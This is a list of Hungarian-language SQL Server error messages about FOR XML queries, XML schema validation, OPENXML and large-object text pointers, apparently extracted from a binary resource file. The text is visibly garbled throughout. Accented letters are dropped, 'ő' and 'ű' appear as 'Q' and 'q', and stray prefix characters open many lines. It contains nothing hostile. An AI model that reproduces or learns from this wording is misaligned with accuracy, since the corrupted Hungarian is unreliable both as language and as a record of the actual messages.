XQuery: A lekrdezsben megadott elrsi utak egyik tl mly. Az engedlyezett maximlis mlysg %1!s! szint.

XXQuery: BelsQ hiba a fordtprogramban.

\A FOR XML AUTO lekrdezs legalbb egy tblt ignyel az XML-cmkk ltrehozshoz. Hasznlja a FOR XML RAW lekrdezst, vagy adjon meg FROM zradkot egy tbla nevvel.

A FOR XML EXPLICIT lekrdezs legalbb hrom oszlopot ignyel: a cmkeoszlopot, a szlQoszlopot s legalbb egy adatoszlopot.

LA FOR XML EXPLICIT lekrdezs rvnytelen oszlopnevet tartalmaz:  %1!s! . Hasznlja a TAGNAME!TAGID!ATTRIBUTENAME[!..] formtumot, ahol TAGID pozitv egsz szm.

A FOR XML EXPLICIT lekrdezs szmra az elsQ oszlopnak az XML-cmkk azonostit jellQ pozitv egsz szmokat kell tartalmaznia.

8A FOR XML EXPLICIT lekrdezs szmra a msodik oszlopnak az XML-szlQcmkk azonostit jellQ NULL vagy nem negatv egsz szmokat kell tartalmaznia.

A FOR XML EXPLICIT lekrdezsnl veremtlcsorduls trtnt. A krkrs szlQcmke-kapcsolatok nem engedlyezettek.

Nem deklarlt %1!s! cmkeazonost szerepel egy FOR XML EXPLICIT lekrdezsben.

Nem deklarlt %1!s! szlQcmke-azonost szerepel egy FOR XML EXPLICIT lekrdezsben.

Nem sikerlt felvenni a(z) %1!s! XML-cmkeazonostt. Valsznqleg kevs a memria a kiszolgl szmra.

Nvtelen tblk nem hasznlhatk XML-azonostknt, illetve nvtelen oszlopok nem hasznlhatk attribtumnvknt. Nevezze el a nvtelen oszlopokat, illetve tblkat a SELECT utastsban az AS bellts hasznlatval.

A(z)  %1!s!  oszlopnv ismtlQdik. Ugyanaz az attribtum nem hozhat ltre tbbszr ugyanabban az XML-cmkben.

Az eredetileg  %2!s!  rtkkel deklarlt %1!s! XML-cmkeazonost most  %3!s!  rtkkel van deklarlva.

A FOR XML EXPLICIT zradk esetben nem szerepelhet tbb ID, IDREF, IDREFS, NMTOKEN s/vagy NMTOKENS pldny a(z)  %1!s!  oszlopnvben.

0A FOR XML EXPLICIT zradk esetben az ID, az IDREF, az IDREFS, az NMTOKEN s az NMTOKENS attribtumnv megadst ignyli a kvetkezQben:  %1!s! .

(A FOR XML EXPLICIT zradk esetben az ID, az IDREF, az IDREFS, az NMTOKEN s az NMTOKENS attribtum nem lehet rejtett a kvetkezQben:  %1!s! .

pA FOR XML EXPLICIT zradk esetben az ID, az IDREF, az IDREFS, az NMTOKEN s az NMTOKENS attribtum nem hozhat ltre CDATA, XML vagy XMLTEXT tpusknt a kvetkezQben:  %1!s! .

A FOR XML EXPLICIT zradk esetben nem szerepelhet tbb ELEMENT, XML, XMLTEXT s CDATA pldny a(z)  %1!s!  oszlopnvben.

tA FOR XML zradk nem szerepelhet %1!s! utastsban.

A FOR XML EXPLICIT zradk esetben a(z) %1!s! oszlopnak a(z)  %2!s!  nevet kell adni a(z)  %3!s!  nv helyett.

A GROUP BY zradk s az sszestQ fggvnyek jelenleg nem tmogatottak a FOR XML AUTO lekrdezsben.

A FOR XML EXPLICIT zradk esetben a(z)  %1!s!  md rvnytelen az oszlopnevekben.

Az ELEMENTS bellts nem engedlyezett a FOR XML lekrdezsek RAW, AUTO s PATH zemmdjban.

A FOR XML EXPLICIT lekrdezsekben minden IDREFS vagy NMTOKENS oszlopnak kln SELECT zradkban kell szerepelnie, s a pldnyoknak kzvetlenl az utn az elem utn kell kvetkeznik, amelyhez tartoznak.

LA FOR XML EXPLICIT lekrdezsekben cmknknt csak egy XMLTEXT oszlop szerepelhet. A(z)  %1!s!  oszlop egy msik XMLTEXT oszlopot deklarl, ami nem megengedett.

A(z)  %1!s!  XMLTEXT oszlopnak karakterlnc adattpusnak vagy XML tpusnak kell lennie.

TA FOR XML EXPLICIT s a RAW md jelenleg nem tmogatja a binris adatok URL-cmknt trtnQ cmzst a(z)  %1!s!  oszlopban. Tvoltsa el az oszlopot, hasznlja a BINARY BASE64 zemmdot, vagy hozza ltre az URL-cmet kzvetlenl a  dbobject/TBLA[@PK1="V1"]/@OSZLOP  szintaxis hasznlatval.

TA FOR XML AUTO lekrdezs nem tallta meg a(z)  %1!s!  oszlopot tartalmaz tblt, s nem tudott URL-cmet ltrehozni hozz. Tvoltsa el az oszlopot, hasznlja a BINARY BASE64 zemmdot, vagy hozza ltre az URL-cmet kzvetlenl a  dbobject/TBLA[@PK1="V1"]/@OSZLOP  szintaxis hasznlatval.

A FOR XML AUTO lekrdezs elsQdleges kulcsokat ignyel a(z)  %1!s!  hivatkozsainak ltrehozshoz. Vlassza ki az elsQdleges kulcsokat, vagy hasznlja a BINARY BASE64 zemmdot a binris adatok kdolt formban trtnQ lekrshez, ha nincsenek elsQdleges kulcsok.

A FOR XML AUTO lekrdezs nem tud URL-cmet ltrehozni a binris adatokhoz, ha egy elsQdleges kulcs szintn binris.

A(z) %1!s! szlQcmke-azonost nem szerepel a nyit cmkk kztt. A FOR XML EXPLICIT lekrdezs esetben elQszr a szlQcmkket kell megnyitni. EllenQrizze az eredmnykszlet sorrendjt.

A(z)  %1!s!  XMLTEXT mezQ rvnytelen XML-dokumentumot tartalmaz. EllenQrizze a gykrcmkt s annak attribtumait.

A FOR XML EXPLICIT lekrdezs  %1!s!  mezQje csak egyszer adhatja meg a HIDE direktvt.

0A FOR XML EXPLICIT lekrdezsben az attribtumkzpont  %1!s!  IDREFS vagy NMTOKENS mezQnek meg kell elQznie az elemkzpont IDREFS/NMTOKEN mezQt.

Az attribtumkzpont IDREFS vagy NMTOKENS mezQ nem tmogatott az olyan cmkk esetben, amelyekhez TEXT/NTEXT vagy IMAGE tpus, elemkzpont  %1!s!  mezQ tartozik. Adja meg az ELEMENT direktvt az IDREFS/NMTOKENS mezQhz, vagy tvoltsa el az ELEMENT direktvt.

A FOR XML EXPLICIT lekrdezs nem tmogatja az XMLTEXT mezQt olyan  %1!s!  cmknl, amelyhez IDREFS vagy NMTOKENS mezQ tartozik.

Sem az XMLDATA, sem az XMLSCHEMA nem tmogatja az olyan nvtrelemeket vagy -attribtumokat, mint a(z)  %1!s! . Futtassa e nlkl a SELECT FOR XML utastst, vagy tvoltsa el a nvtrelQtag deklarcijt.

A FOR XML lekrdezs nem tudta szerializlni az adatokat a(z)  %1!s!  csompontnl, mert az olyan karaktert tartalmaz (0x%2!s!), amely nem megengedett az XML-ben. Ha a FOR XML hasznlatval kvnja beolvasni ezeket az adatokat, alaktsa t azokat binary, varbinary vagy image adattpusra, s hasznlja a BINARY BASE64 direktvt.

Nem sikerlt szerializlni az adatokat a(z)  %1!s!  csompontnl, mert az olyan karaktert tartalmaz (0x%2!s!), amely nem megengedett az XML-ben. Az adatok beolvasshoz alaktsa t azokat binary, varbinary vagy image adattpusra.

FOR XML EXPLICIT: Az XML-adattpusok s a CLR-beli tpusok nem dolgozhatk fel CDATA tpusknt a(z)  %1!s!  oszlopnvben. Az XML talakthat karakterlnc tpusra. A CLR-beli tpusok talakthatk XML-re, majd karakterlnc tpusra.

Kt (vagy tbb)  %1!s!  nevq elem eltrQ tpus, s nem kzvetlen testvrek ugyanazon a szinten.

8Kt (vagy tbb)  %1!s!  nevq elem vlaszthat ugyanazon a szinten. Alaktsa t az elemeket testvrekk, vagy a NULL rtket kpezze le xsi:nil rtkre.

A(z)  %1!s!  XML-nvtrelQtag deklarcija hinyzik: FOR XML %2!s!, nv:  %3!s! .

A(z)  %1!s!  oszlop sql_variant tpus, ami nem tmogatott az attribtumkzpont FOR XML lekrdezsben az XML-sma hasznlata esetn.

Az XMLDATA nem tmogatja a(z)  %1!s!  oszlop tpusnak lekpezst XDR-tpusra. Az XMLSCHEMA hasznland AUTO s RAW zemmdban.

@FOR XML PATH: Hiba a(z)  %1!s!  oszlopban.  //  karakterek s kezdQ, illetve zr  /  karakterek nem engedlyezettek az egyszerq elrsit-kifejezsekben.

A(z) %1!s! (nv:  %2!s! ) rvnytelen XML-azonostt tartalmaz a FOR XML szmra; az elsQ helytelen karakter:  %3!s! (0x%4!s!).

A(z)  %1!s!  oszlop adattpusa rvnytelen az attribtumkzpont XML-szerializlshoz a FOR XML PATH kifejezs esetn.

0Az attribtumkzpont  %1!s!  oszlop nem kvetkezhet egy nem attribtumkzpont testvr utn az XML-hierarchiban a FOR XML PATH kifejezs esetn.

 %1!s!  oszlop: az elrsi t utols lpse nem alkalmazhat XML-adattpusra vagy CLR-beli tpusra FOR XML PATH kifejezs esetn.

Az oszlop  %1!s!  aliasneve rvnytelen az oszlopok XML feldolgozsi utastsknt trtnQ formzshoz a FOR XML PATH kifejezs esetn. A nvnek  feldolgozsi utasts(cl)  formtumnak kell lennie.

A begyazott smk nem tmogatottak a FOR XML PATH kifejezs esetn.

A FOR XML lekrdezs XML-sorcmkeneve rvnytelen XML-azonostt tartalmaz; az elsQ helytelen karakter:  %1!s! (0x%2!s!).

A FOR XML lekrdezs XML-gykrcmkeneve rvnytelen XML-azonostt tartalmaz; az elsQ helytelen karakter:  %1!s! (0x%2!s!).

Az XML-sma URI-azonostja  %1!s! (0x%2!s!) karaktert tartalmaz, ami nem engedlyezett az XML-ben.

A sorcmkenv csak RAW vagy PATH zemmdban engedlyezett a FOR XML lekrdezsben.

A FOR XML lekrdezsben az XMLDATA direktva nem engedlyezett a ROOT direktva vagy a sorcmkenv megadsa esetn.

res gykrcmkenv nem adhat meg a FOR XML lekrdezsben.

A FOR XML lekrdezsben nem engedlyezett res URI-azonost a clknt hasznlt begyazott smnl.

A sorcmke elhagysa (res sorcmkenv) nem kompatibilis az XMLSCHEMA FOR XML direktvval.

A sorcmke elhagysa (res sorcmkenv) nem hasznlhat az attribtumkzpont FOR XML szerializlssal.

@A FOR XML lekrdezs nem tmogatja a CLR-beli tpusokat. Alaktsa t a CLR-beli tpusokat explicit mdon a FOR XML lekrdezsek egyik tmogatott tpusra.

Az XML-smk rendszer ltal fenntartott URI-azonostjnak hasznlata nem engedlyezett.

$A(z)  xmlns  rvnytelen XML-cmkenv a FOR XML PATH kifejezsben, vagy amikor WITH XMLNAMESPACES zradkot hasznl a FOR XML lekrdezsben.

A kvetkezQ FOR XML funkcik nem tmogatottak a WITH XMLNAMESPACES listk esetn: EXPLICIT md, XMLSCHEMA s XMLDATA direktva.

Ksrlet trtnt a(z)  %1!s!  nvtrelQtag jbli definilsra.

$A WITH XMLNAMESPACES zradkban hasznlt  %1!s!  elQtag rvnytelen XML-azonostt tartalmaz. Az elsQ helytelen karakter:  %2!s!  (0x%3!s!).

A WITH XMLNAMESPACES zradkban hasznlt  %1!s!  elQtag fenntartott elQtag, nem hasznlhat felhasznl ltal definilt elQtagknt.

DAz  xml  XML-nvtrelQtag csak a http://www.w3.org/XML/1998/namespace URI-azonosthoz rendelhetQ hozz. Ez az URI-azonost nem hasznlhat ms elQtagokkal.

Az  xsi  XML-nvtrelQtag jbli definilsa nem tmogatott a FOR XML kifejezs ELEMENTS XSINIL belltsa esetn.

res URI-azonost nem engedlyezett a WITH XMLNAMESPACES zradkban.

A WITH XMLNAMESPACES zradkban hasznlt  %1!s!  URI-azonost rvnytelen. Az elsQ helytelen karakter:  %2!s!  (0x%3!s!).

A WITH XMLNAMESPACES zradkban hasznlt URI-azonost tl hossz. A maximlis hosszsg %1!s! karakter.

res nvtrelQtag nem engedlyezett a WITH XMLNAMESPACES zradkban.

A FOR XML XMLSCHEMA nem hasznlhat tpusos XML-oszlop esetn, amelynek smagyqjtemnye res.

Az  xml  rvnytelen cl az XML feldolgozsi utastsban. Valsznqleg az XML feldolgozsi utasts konstruktornak hasznlatval trtnt ksrlet XML-deklarci ltrehozsra. Az XML-deklarci ltrehozsa a FOR XML hasznlatval nem tmogatott.

XML-rvnyests: Az XML-pldnynak dokumentumnak kell lennie.

xXML-rvnyests: A(z)  %1!s!  tpus defincija rvnytelen. Az SQL Server jelenleg nem tmogatja minta vagy szmbavtel tpus rtkkorltozs hasznlatt a QName tpus listknl.

xXML-rvnyests: A(z)  %1!s!  tpus defincija rvnytelen. Az SQL Server jelenleg nem tmogatja az ID, a QName vagy a QName-lista felvtelt az egyestsi tpusok tagtpusai kz.

XML-rvnyests: IsmtlQdQ attribtum:  %1!s! . %2!s! %3!s!

XML-rvnyests: A(z)  %1!s!  attribtum nem engedlyezett ebben a krnyezetben. %2!s! %3!s!

XML-rvnyests: A ktelezQ  %1!s!  attribtum hinyzik. %2!s! %3!s!

dA nvtr URI-azonostja tl hossz:  %1!s! .

HXML-rvnyests: Ezen a helyen nem engedlyezett a szvegcsompont, a tpus csak elem tpus tartalommal vagy egyszerq tartalommal van definilva. %1!s! %2!s!

XML-rvnyests: A(z)  %1!s!  tpus defincija rvnytelen. Az SQL Server jelenleg nem tmogatja az egyestsi tpusok korltozst.

XML-rvnyests: IsmtlQdQ  %1!s!  elem az  all  tpus tartalommodellben. %2!s! %3!s!

XML-rvnyests:  %1!s!  elem a  text only  tartalommodellben. %2!s! %3!s!

XML-rvnyests: Nem tallhat a(z)  %1!s!  elem deklarcija. %2!s! %3!s!

8XML-rvnyests: Nem tallhat a(z)  %1!s!  tpus defincija. Tpus ltrehozsban val hasznlata elQtt meg kell adni a tpusdefincit. %2!s! %3!s!

dTl hossz elem- vagy attribtumnv:  %1!s! .

XML-rvnyests: A(z)  %1!s!  tpus vagy modellcsoport tartalommodellje nem egyrtelmq, ezrt megsrti az egyedi alkotrszek attribtumra vonatkoz korltozst. Tovbbi tjkoztatst az SQL Server online knyvekben tall.

pXML-rvnyests: A(z)  %1!s!  elemhez nem tartozhat xsi:nil="true" rtk, mert nem nullzhatknt van definilva, vagy mert rgztett rtkq korltozs vonatkozik r. %2!s! %3!s!

,XML-rvnyests: A(z)  %1!s!  elemnek nem lehetnek karakter vagy elem tpus gyermekei, mert az xsi:nil igaz rtkqre van belltva. %2!s! %3!s!

DXML-rvnyests: A(z)  %1!s!  elem tpusa absztrakt. Pldny ltrehozshoz az xsi:type hasznlatval egy nem absztrakt tpust kell ltrehozni. %2!s! %3!s!

TA(z)  %1!s!  tpus defincija rvnytelen. A use="prohibited" bellts nem adhat meg a(z)  %2!s!  attribtumnl, mert nincs megfelelQ attribtum az alaptpusban.

pXML-rvnyests: A(z)  %1!s!  attribtum rgztettknt van definilva, az elem rtknek egyenlQnek kell lennie a definciban megadott  fixed  attribtum rtkvel. %2!s! %3!s!

XML-rvnyests: Nem lehet feloldani a kvetkezQ elQtag nvtert:  %1!s! 

tXML-rvnyests: Nem vrt elemek: %1!s!. %2!s! %3!s!

XML-rvnyests: A(z)  %1!s!  szveg tallhat a csak attribtum tpus tartalommodellben. %2!s! %3!s!

A(z)  %1!s!  elem defincija rvnytelen. Az SQL Server jelenleg nem engedlyezi a hozzadst a meglvQ helyettestsi csoportokhoz az ALTER XML SCHEMA COLLECTION utasts hasznlatval.

XML-rvnyests: rvnytelen egyszerq tpus rtk:  %1!s! . %2!s! %3!s!

XML-rvnyests: rvnytelen egyszerq tpus rtk:  %1!s! .

0XML-rvnyests: A(z)  %1!s!  tpus vagy modellcsoport tartalommodelljnek XML-pldnyai nem rvnyesthetQk tbbfle mdon, s nem tmogatottak.

XML-rvnyests: rvnytelen QName a(z)  %1!s!  xsi:type attribtumnl.

(XML-rvnyests: Az ID-korltozs ellenQrzse hibt tallt. A(z)  %1!s!  nevq attribtumhoz ismtlQdQ ID-rtk tartozik:  %2!s! . %3!s! %4!s!

<XML-rvnyests: Az IDREF-korltozs ellenQrzse hibt tallt. A(z)  %1!s!  nevq attribtum a(z)  %2!s!  azonostrtkre hivatkozik, amely nem ltezik.

A(z)  %1!s!  elem vagy attribtum defincija rvnytelen. Az azonost tpus sszetevQkre vonatkozan nem adhat meg rtkkorltozs.

XML-rvnyests: Az egyszerq tpusra vonatkoz mqvelet rvnytelen, az egyszerq tpusba val beszrs nem engedlyezett. %1!s! %2!s!

XML-rvnyests: A(z)  %1!s!  elem helyettestst ignyel, mert absztraktknt van definilva. %2!s! %3!s!

XML-rvnyests: Az ID vagy az IDREF attribtum tllpte a megengedett maximlis hosszsgot. %1!s! %2!s!

XML-rvnyests: A(z)  %1!s!  elem  %2!s!  tpusrl  %3!s!  tpusra trtnQ talaktsa rvnytelen %4!s! %5!s!

<XML-rvnyests: A kvetkezQ rtk kanonikus alakja a megadott tpus alapjn rvnytelen:  %1!s! . Ennek oka lehet mintzati rtkkorltozs alkalmazsa nem karakterlncos tpusokra, illetve tartomnykorltozsok vagy szmbavtelek alkalmazsa lebegQpontos tpusokra. %2!s! %3!s!

$XML-rvnyests: A kvetkezQ rtk kanonikus alakja a megadott tpus alapjn rvnytelen:  %1!s! . Ennek oka lehet mintzati rtkkorltozs alkalmazsa nem karakterlncos tpusokra, illetve tartomnykorltozsok vagy szmbavtelek alkalmazsa lebegQpontos tpusokra.

 XML-rvnyests: A(z)  %1!s!  elem vegyes tartalm s rgztett rtk tartozik hozz, ezrt nem rendelkezhet elemtartalommal. %2!s! %3!s!

0rvnytelen sszetevQ (nv:  %1!s! ) a globlis hatkrben. A globlis krnyezetben csak elemek, attribtumok, tpusok s csoportok definilhatk.

LA(z)  %1!s!  tpus defincija rvnytelen. Az sszetett tartalm tpusok csak olyan alaptpusokbl szrmaztathatk, amelyek sszetett tartalommal rendelkeznek.

HA(z)  %1!s!  tpus defincija rvnytelen. Az egyszerq tartalm tpusok csak olyan alaptpusokbl szrmaztathatk, amelyek egyszerq tartalommal rendelkeznek.

A(z)  %1!s!  tpus defincija rvnytelen. A szrmaztats rvnytelen, mert a  final  attribtum van megadva az alaptpusnl.

A(z)  %1!s!  tpus defincija rvnytelen. A(z)  %2!s!  rtkkorltozs nem korltozza az rtkteret.

A(z)  %1!s!  rtkkorltozs rtke rvnytelen a(z)  %2!s!  tpusdefinciban.

A(z)  %1!s!  tpus defincija rvnytelen. A  minLength  rtk nem lehet nagyobb, mint a  maxLength  rtk.

XML-rvnyests: Tbb ID attribtum tallhat az egyik elemben. %1!s! %2!s!

A(z)  %1!s!  tpus defincija rvnytelen. A  minLength  rtk nem lehet nagyobb, mint a  Length  rtk.

A(z)  %1!s!  tpus defincija rvnytelen. A  Length  rtk nem lehet nagyobb, mint a  maxLength  rtk.

A(z)  %1!s!  tpus defincija rvnytelen. A  fractionDigits  rtk nem lehet nagyobb, mint a  totalDigits  rtk.

A(z)  %1!s!  tpus defincija rvnytelen. A  minInclusive  rtknek kisebbnek kell lennie a  maxInclusive  rtknl, vagy egyenlQnek kell lennie azzal, s kisebbnek kell lennie a  maxExclusive  rtknl.

A(z)  %1!s!  tpus defincija rvnytelen. A  minExclusive  rtknek kisebbnek kell lennie a  maxExclusive  rtknl, vagy egyenlQnek kell lennie azzal, s kisebbnek kell lennie a  maxInclusive  rtknl.

A(z)  %1!s!  tpus defincija rvnytelen. A rekurzv tpusdefincik nem engedlyezettek.

A(z)  %1!s!  csoport defincija rvnytelen. A rekurzv csoportdefincik nem engedlyezettek.

A(z)  %1!s!  attribtum defincija rvnytelen. Az attribtumtpusnak egyszerq tpusnak kell lennie.

A(z)  %1!s!  tpus defincija rvnytelen. A rgztett  %2!s!  rtkkorltozs nem definilhat jbl ms rtkqre.

rvnytelen elemdefinci. A(z)  %1!s!  elem nem rvnyesen van szrmaztatva a(z)  %2!s!  elembQl.

A(z)  %1!s!  tpus defincija rvnytelen. Az  all  tpus csoport nem jelenhet meg ms modellcsoport gyermekeknt vagy szlQjeknt, a minOccurs = maxOccurs = 1 belltssal kell rendelkeznie, s gyermekelemeinek a maxOccurs = 1 belltssal kell rendelkeznik.

rvnytelen definci, a legfelsQ szintq csoportdefincikhoz nem tartozhatnak modellcsoportok testvrknt.

@A(z)  %1!s!  sszetevQ az engedlyezett tartomnyon kvl esik. A  fractionDigits  maximlis rtke 10, s a nem trtrsz szmjegyeinek maximlis szma 28.

Elrte az XML-tpusok szmra vonatkoz rendszerkorltozst. Tervezze t az adatbzist, hogy kevesebb XML-tpust hasznljon.

A  default  s a  fixed  rtk nem engedlyezett a kvetkezQ tpus elemeknl:  %1!s! 

A  Default  vagy a  Fixed  rtk hosszabb a megengedettnl, az engedlyezett maximlis hosszsg 4000 karakter:  %1!s! 

Az rtkkorltozs rtke hosszabb a megengedettnl, az engedlyezett maximlis hosszsg 4000 karakter:  %1!s! 

 A(z)  %1!s!  tpus defincija rvnytelen. Az alaptpusnak s a szrmaztatott tpusnak azonos  mixed  rtkkel kell rendelkeznie, kivve, ha a szrmaztats korltozssal trtnt, mert ebben az esetben a  false  rtk mindig engedlyezve van a szrmaztatott tpusnl.

A(z)  %1!s!  tpus defincija rvnytelen. Az sszetett tpusok nem korltozhatjk az egyszerq tpusokat.

0Az ID/IDREF attribtum rvnyestse tl sok memrit vett ignybe. Prblja meg cskkenteni az ID s az IDREF attribtumok szmt. Hasznos lehet az is, ha a fjlt gy rendezi t, hogy az IDREF attribtummal rendelkezQ elemek az ltaluk hivatkozott elemek utn kvetkezzenek.

HA(z)  %1!s!  tpus defincija rvnytelen. Egyik tpus sem rendelkezhet tbb brmilyen tpus olyan attribtummal, amely az ID attribtumbl van szrmaztatva.

A(z)  %1!s!  tpus defincija rvnytelen. A tpus a(z)  %2!s!  attribtumot tartalmazza, amely nem engedlyezett az alaptpusban.

dA(z)  %1!s!  attribtum jbli definilsa rvnytelen a(z)  %2!s!  tpusban. Olyan tpusnak kell lennie, amely a megfelelQ attribtum rvnyes korltozsa az alaptpusban.

HA(z)  %1!s!  attribtum jbli definilsa rvnytelen a(z)  %2!s!  tpusban. KtelezQnek kell lennie a szrmaztatott tpusban, ha az ktelezQ az alaptpusban.

DA(z)  %1!s!  attribtum jbli definilsa rvnytelen a(z)  %2!s!  tpusban. Tiltottnak kell lennie a szrmaztatott tpusban, ha az tiltott az alaptpusban.

DA(z)  %1!s!  attribtum jbli definilsa rvnytelen a(z)  %2!s!  tpusban. Ugyanolyan rgztett rtkkel kell rendelkeznie, mint a szrmaztatott tpusnak.

dA(z)  %1!s!  attribtum jbli definilsa rvnytelen a(z)  %2!s!  tpusban. ElQfordulhat, hogy a kiterjeszts szerinti szrmaztats nem definilja jra az attribtumokat.

A(z)  %1!s!  tagtpus rvnytelen a(z)  %2!s!  egyestsi tpusban. Az egyestsekhez nem tartozhatnak sszetett tagtpusok.

pA(z)  %1!s!  listatpus elemtpusa rvnytelen. A listk elemtpusa nem lehet lista, s az ID attribtumbl szrmaztatott tpusok nem hasznlhatk elemtpusknt ebben a kiadsban.

A(z)  %1!s!  tpus korltozsa rvnytelen. A korltozott tpusban lvQ elemnek az alaptpusban lvQ megfelelQ elemmel azonos nevqnek kell lennie, s az alaptpusban lvQ megfelelQ elemnl erQsebb korltozst kell megadnia.

A(z)  %1!s!  tpus korltozsa rvnytelen. A korltozott tpusban lvQ alkotrsz elQfordulsi tartomnya nem lehet megengedQbb, mint az alaptpusban lvQ megfelelQ alkotrsz tartomnya.

<A(z)  %1!s!  tpus korltozsa rvnytelen. A korltozott tpusban lvQ elem nem lehet nullzhat, ha az alaptpusban lvQ megfelelQ elem nem nullzhat.

pA(z)  %1!s!  tpus korltozsa rvnytelen. A korltozott tpusban lvQ elemhez ugyanolyan rgztett rtknek kell tartoznia, mint a szrmaztatott tpusban lvQ megfelelQ elemhez.

PA(z)  %1!s!  tpus korltozsa rvnytelen. A korltozott tpusban lvQ elem  block  rtke nem lehet megengedQbb, mint az alaptpusban lvQ megfelelQ elem rtke.

LA(z)  %1!s!  tpus korltozsa rvnytelen. A korltozott tpusban lvQ elem az alaptpus helyettestQ eleme ltal engedlyezett nvterek egyiknek kell lennie.

A(z)  %1!s!  tpus korltozsa rvnytelen. A korltozott tpusban lvQ helyettestQ elemnek az alaptpusban lvQ megfelelQ helyettestQ elem rvnyes rszkszletnek kell lennie, s a processContents tulajdonsg nem lehet megengedQbb.

A(z)  %1!s!  tpus korltozsa rvnytelen. A korltozott tpusban lvQ modellcsoport tnyleges teljes tartomnynak az alaptpusban lvQ helyettestQ elemhez tartoz elQfordulsi tartomny rvnyes korltozsnak kell lennie.

(A(z)  %1!s!  tpus korltozsa rvnytelen. Az  all  tpus alkotrszekhez csak  all ,  element  vagy  sequence  tpus korltozs adhat meg.

4A(z)  %1!s!  tpus korltozsa rvnytelen. A  choice  tpus alkotrszekhez csak  element ,  choice  vagy  sequence  tpus korltozs adhat meg.

$A(z)  %1!s!  tpus korltozsa rvnytelen. A  sequence  tpus alkotrszekhez csak  element  vagy  sequence  tpus korltozs adhat meg.

A(z)  %1!s!  tpus korltozsa rvnytelen. A modellcsoport korltozsa rvnytelen.

A(z)  %1!s!  tpus korltozsa rvnytelen. Ha az alaptpushoz res tartalom tartozik, akkor a szrmaztatott tpushoz is res tartalomnak kell tartoznia, s ha a szrmaztatott tpushoz res tartalom tartozik, akkor az alaptpusnak rthetQnek kell lennie.

HA(z)  %1!s!  tartalommodell kt olyan elemet tartalmaz, amelyek neve azonos ( %2!s! ), a tpusuk, a nullzhatsguk vagy az rtkkorltozsuk pedig klnbzQ.

 A(z)  %1!s!  attribtum hasznlatra vonatkoz rtkkorltozsnak konzisztensnek kell lennie a deklarcijban szereplQ rtkkorltozssal.

A(z)  %1!s!  tpus korltozsa rvnytelen. A korltozott tpusban lvQ attribtumhelyettestQ elemnek az alaptpusban lvQ megfelelQ attribtumhelyettestQ elem rvnyes rszkszletnek kell lennie, s a processContents tulajdonsg nem lehet megengedQbb.

A(z)  %1!s!  tpus defincija rvnytelen. Az SQL Server nem engedlyezi a beptett  ID  s  IDREF  XML-smatpus, illetve az ezekbQl szrmaztatott tpusok hasznlatt az elemek tpusaknt vagy a kiterjeszts szerinti szrmaztats alapjaknt.

`A(z)  %1!s!  tpus defincija rvnytelen. A tpusok nem rendelkezhetnek  minInclusive  s  minExclusive , illetve  maxInclusive  s  maxExclusive  rtkkorltozssal is.

A(z)  %1!s!  elem defincija rvnytelen. A rgztett rtkekkel rendelkezQ elemek nem lehetnek egyttal nullzhatk is.

hrvnytelen tpusdefinci: A(z)  %1!s!  tpus vagy modellcsoport tlsgosan sszetett. Lehetsges, hogy cskkenteni kell a szmbavtelek szmt vagy a tartalommodell mrett.

8A(z)  %1!s!  elem vagy attribtum defincija rvnytelen. A QName tpus sszetevQkre vonatkozan nem adhatk meg rtkkorltozsok ebben a kiadsban.

Az OPENXML dokumentumkezelQ paramternek int adattpusnak kell lennie.

Az OPENXML jelzQparamternek int adattpusnak kell lennie.

Az OPENXML XPath kifejezsnek karakteres adattpusnak, pldul nvarchar tpusnak kell lennie.

`Csak egy OPENXML oszlop lehet %1!s! tpus.

Az OPENXML sorkszlet-szolgltat nem tmogatja a smk lekrst tvoli tblkbl, mint pldul ebben az esetben:  %1!s! .

dAz OPENXML sorkszlet-szolgltat egy metatulajdonsg nvternek deklarlst ignyli, ha az sp_xml_preparedocument utastsban  mp  szerepel egy msik nvtrre vonatkozan.

|Az OPENXML sorkszlet-szolgltat problmt szlelt a metatulajdonsg nvtrelQtagjnak azonostsakor. Tvoltsa el a nvtr paramtert a megfelelQ sp_xml_preparedocument utastsbl.

Az OPENXML sorkszlet-szolgltat ismeretlen metatulajdonsgot tallt:  %1!s! .

Az OPENXML EDGETABLE utasts nem kompatibilis az XMLTEXT OVERFLOW jelzQvel.

$Az OPENXML sorkszlet-szolgltat csak egy metatulajdonsg nvtrelQtagjnak deklarlst engedlyezi az sp_xml_preparedocument utastsban.

(Aktv felhasznli tranzakci szksges, ha text tpus mutatkat kvn hasznlni olyan tblhoz, amelynek  text in row  belltsa ON rtkq.

BelsQ hiba: A szvegkezelQ nem tudja folytatni az aktulis utastst. Futtassa a DBCC CHECKTABLE utastst.

Az eltols vagy az adattpus mrete rvnytelen. Az adattpusnak int vagy smallint tpusnak kell lennie.

A LOB adattpus-csompont %1!s! adatbzis-azonostja, %2!s! jelq lapja s %3!s! trolhelye nem ltezik. Ezt ltalban olyan tranzakcik okozzk, amelyek olvasni tudjk a nem vglegestett adatokat az adatlapokon. Futtassa a DBCC CHECKTABLE utastst.

BelsQ hiba: LOB adattpus frisstsre trtnt ksrlet csak olvashat text tpus mutat hasznlatval.

Egy tranzakciban csak 1024 soron belli text tpus mutat hasznlhat.

0A(z) %1!s! azonostj adatbzis %2!s! jelq lapja, %3!s! trolhelye s %4!s!. szm hivatkozsa rvnytelen. Futtassa a DBCC CHECKTABLE utastst.

A(z) %1!s! eltols az elrhetQ LOB-adatok tartomnyn kvl esik.

Hiba trtnt a LOB-adatok (nagymretq objektum) tabullt adatfolyambl (TDS) trtnQ olvassakor.

Csak a teljes lecserls tmogatott a nagymretq objektumok (LOB) nmagukhoz val hozzrendelsekor.

A LOB a megengedett %1!s! bjtnl nagyobb mretqre prblt nvekedni.

rvnytelen text, ntext vagy image mutattpus. A kvetkezQnek kell lennie: binary(16).

rvnytelen text, ntext vagy image tpus mutatrtk: %1!s!.

A READTEXT utastsban megadott eltols s hosszsg nagyobb, mint a tnyleges adathosszsg: %1!s!.

A text, ntext vagy image tpus mutatrtk tkzik a megadott oszlopnvvel.

NULL textptr (text, ntext vagy image tpus mutat) tadva a kvetkezQ fggvnynek: %1!s!.

LA LOB-keresQ nem tmogatott text tpus mutatknt, amikor a szveges oszlopok frisstst, illetve rst az UPDATETEXT/WRITETEXT utasts hasznlatval vgzi.

A(z) %1!s! trlsi hosszsg a text, ntext vagy image tpus adatok tartomnyn kvl esik.

A(z) %1!s! nem engedlyezett, mert az oszlopot jelenleg egy prhuzamos pillanatkp dolgozza fel, vagy folyamatban van az oszlop repliklsa egy nem SQL Server-elQfizetQnek, vagy kzzttele a Data Transformation Services (DTS) hasznlatt engedlyezQ kiadvnyba, vagy az oszlopot a vltozsok adatrgztQ mqvelete kveti nyomon.

